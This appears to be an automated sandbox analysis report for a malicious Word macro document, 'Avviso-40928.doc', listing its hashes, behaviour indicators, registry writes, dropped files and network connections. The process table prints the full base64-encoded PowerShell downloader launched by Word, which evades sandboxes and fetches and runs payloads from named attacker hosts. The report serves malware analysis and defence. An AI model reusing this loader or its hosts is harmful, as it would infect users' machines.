| File name: | Avviso-40928.doc |
| Full analysis: | https://app.any.run/tasks/67b3480d-8ee9-4155-9b45-f88af62d7499 |
| Verdict: | Malicious activity |
| Analysis date: | September 19, 2019, 11:52:57 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Administrator, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 9, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Create Time/Date: Sun Sep 8 16:10:00 2019, Last Saved Time/Date: Sun Sep 8 19:15:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | CC923C09537468C5743BFAA64399EA0C |
| SHA1: | A788BABCC5A3964B41BC5DA76850B52DA4A62177 |
| SHA256: | 7927BBF0D435FF03F178FFBBA13CE1F1AED7D84969BBCA61A7486B87D2781FA5 |
| SSDEEP: | 1536:BC3hskRSSuclIyTPHkDD+WZbS+a9x/iIm:BIRSSuclIyoDDk6 |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 3588)
Executes PowerShell scripts
- WINWORD.EXE (PID: 3588)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2688)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3588)
Creates files in the user directory
- WINWORD.EXE (PID: 3588)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Administrator |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | Administrator |
| RevisionNumber: | 9 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 21.0 minutes |
| CreateDate: | 2019:09:08 15:10:00 |
| ModifyDate: | 2019:09:08 18:15:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 1 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
37
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2688 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'O2lmKCgoR2V0LVVJQ3VsdHVyZSkuTmFtZSAtbWF0Y2ggIkNOfFJPfFJVfFVBfEJZIikgLW9yICgoR2V0LVdtaU9iamVjdCAtY2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW0gLVByb3BlcnR5IE1vZGVsKS5Nb2RlbCAtbWF0Y2ggIlZpcnR1YWxCb3h8Vk13YXJlfEtWTXxIVk0iKSl7ZXhpdDt9OyRhPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjskYj1Kb2luLVBhdGggJGVudjp0ZW1wICJNaWNyb3M2NC5leGUiO3RyeXsoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoImh0dHA6Ly9zZXIuam9ubmFsYmFuZGlhbi5jb20vbGFzdHVwZGF0ZS56aXA/dGdoeWpmaGoiLCRiKTsgU3RhcnQtUHJvY2VzcyAkYjt9Y2F0Y2h7fTs7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8vd3dzLmNocmlzdGluZWRhdmllcy5iaXovP3BhZ2U9cmluZyZ2aWQ9cGl0NyZzeWZlcyIpfG91dC1maWxlICRhO1N0YXJ0LVByb2Nlc3MgJGE7fWNhdGNoe307' ) );iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3588 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Avviso-40928.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
Total events
1 232
Read events
829
Write events
396
Delete events
7
Modification events
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | |"$ |
Value: 7C222400040E0000010000000000000000000000 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: On | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328742430 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328742544 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328742545 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 040E0000D8AB01D1E06ED50100000000 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | a$ |
Value: 61242400040E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3588) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | a$ |
Value: 61242400040E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3588 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9AFC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NOKAXQKJM1D3E1HHTRSJ.temp | — | |
MD5:— | SHA256:— | |||
| 3588 | WINWORD.EXE | C:\Users\admin\Desktop\~$viso-40928.doc | pgc | |
MD5:— | SHA256:— | |||
| 3588 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3588 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a973.TMP | binary | |
MD5:— | SHA256:— | |||
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3588 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Avviso-40928.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2688 | powershell.exe | GET | — | 185.158.249.39:80 | http://ser.jonnalbandian.com/lastupdate.zip?tghyjfhj | NL | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2688 | powershell.exe | 185.158.249.39:80 | ser.jonnalbandian.com | easystores GmbH | NL | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ser.jonnalbandian.com |
| unknown |